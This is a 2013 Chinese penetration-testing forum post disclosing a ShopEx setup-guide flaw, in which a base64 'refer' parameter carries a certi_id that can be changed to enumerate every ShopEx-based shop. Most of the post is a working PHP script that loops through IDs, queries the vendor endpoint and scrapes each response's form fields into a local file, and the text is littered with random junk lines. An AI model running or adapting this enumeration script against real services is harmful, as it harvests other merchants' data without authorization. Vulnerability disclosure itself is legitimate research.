中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
+ r/ e6 R& P0 R" L
ShopEx某接口缺陷,可遍历所有网站
! x( u0 M0 u2 R6 t% ^
详细说明:
: [/ A' K. b# ^( e$ P# ^6 A9 s' E
问题出现在shopex 网店使用向导页面
# t( a4 i% O, E
3 ~5 N2 u; x' e; U* _ @1 g
$ i$ p. j' y8 `# m5 ~; ?' U
6 x& M" ]' C, ]( a/ ]
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" l1 c9 R3 U. D. T1 ^2 D
c$ ^, `! {( u: v% [! P
3 }( i2 \- K! f
- V& ]" \& ?' I1 ^ K8 R+ Z
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! K. b/ B& g/ x2 ] V1 l/ ^
. k8 f7 \3 @; p- V6 @8 y* Q
! U$ b( b7 T2 a
2 S3 L- U, g( H: d, Y- ~% D
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
0 {( I9 n0 P8 o9 {+ r: \$ Z
3 _- v0 f9 E& U$ m6 u' f; B7 L# R
2 H# P- @& C7 M3 }$ {
* b2 v+ [. J) X- U) I; K# ]9 p
<?php
2 Z$ p6 [) e! s* k, \6 _
0 k# }+ w3 |" G& Z* N: L
for ($i=1; $i < 10000; $i++) { //遍历
# h2 s0 K$ U0 P2 l& a
. Q2 e$ J5 Z7 v) [- S$ z
ShowshopExD($i);
& w. i6 b5 v( Z6 K0 s3 `) I
4 j: o, t6 f0 I3 ?; m) ?" x; k
}
! f8 P' Z/ S( s7 R* c- f5 D- h
4 L$ \. J; l8 ?; R4 E
function ShowshopExD($cid) {
5 [5 P. w- U& u4 ^ j. y0 K6 ?* V5 ~
+ F1 O4 C& H* d* b+ R& u! h! E* u
$url='http://guide.ecos.shopex.cn/step2.php';
8 t5 t/ P6 |6 M3 w
1 R& H p* f" U! f& p
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
: g2 {! X; x! m- X, _% H
6 t/ B& y8 Y. S' @0 Q6 e
$url = $url.'?refer='.$refer;
3 F: \" S8 ?- ^' t
9 E/ e! [. o: U
$ch = curl_init($url);
" n, P: {0 H# i6 J- y1 U
i4 O; F, z% V& _# ^8 Y
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# H6 F6 U2 |+ q8 i' X v
' W: f+ F% a3 P
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
" Q% g" k4 s# N% {7 ?! y0 @ b1 z) ]
2 R# m2 n/ S @; q5 V8 q2 W: J0 U9 H
$result = curl_exec($ch);
% w4 E) {$ [1 N; b+ R. Z5 G
: `% G5 q! L! e5 [
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
7 N% j3 A2 t( u- Q! y% r
* B: `: U- a/ g
if(strpos($result,$refer))
* `: N) c- Y1 e) x! @
1 y6 T; g: f/ \7 B8 w( w
{
5 H0 k6 [% x8 M/ E- g
$ K9 x K8 u6 _0 c" q1 v% [8 i2 Q
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( J7 M( \, U3 A3 n
( F! g% A; L% r
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
0 B: O% h( q( N5 M1 @- b: V) `
& e1 V1 F% z* o" W n
foreach ($value[1] as $key) {
( t. i: P9 e8 |+ P
/ J5 A H; S% x
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
" s6 \ O) J4 C1 B
/ T" k8 ~$ [3 O
echo $res[1][0].':'.$res[3][0]."\r\n";
- v% F( D0 d, M! _5 q4 A4 k
' \- N: ~' X2 K$ s- S$ a$ H
$col =$res[1][0].':'.$res[3][0]."\r\n";
2 e- B2 n( Q4 r! q
4 g% B; i" \" s; ?
fwrite($fp, $col, strlen($col));
, J6 i5 V6 N4 n" ]' E% i
0 q, T7 v/ \# \- X$ ]; e4 {
}
# E1 d1 G3 @3 G% S
1 n7 i& q' \ y& ]9 ] X9 \
echo '--------------------------------'."\r\n";
$ _- j6 Q: ?5 ]+ y; m
e: p! u- e. |) ^3 E) r& s* m
fclose($fp);
( N3 r7 W* z9 C8 I& C% j
( m( v* p! z d: K
}
8 c7 r4 v7 E5 B D( Y! E. X
- U3 Y6 z* u. E! b4 E! {
flush();
$ \ e1 M( Z2 c& p' y$ Q
5 h! `; [6 p/ p$ J, `9 M/ g
curl_close($ch);
) Z& A3 l' X1 T
9 G4 B3 T, w u" K
}
# f% O$ C% p3 L" Q+ G8 E) z5 n
8 q# R) K: K/ B l& |" I
?>
/ c) [* W6 Q7 T" T1 G! p
漏洞证明:
- b; I. q6 p! g2 _
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
: Q; D9 Y$ b4 |( d2 e0 U
refer换成其他加密方式
+ p: W; s# A f r* x2 ]4 V$ {
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2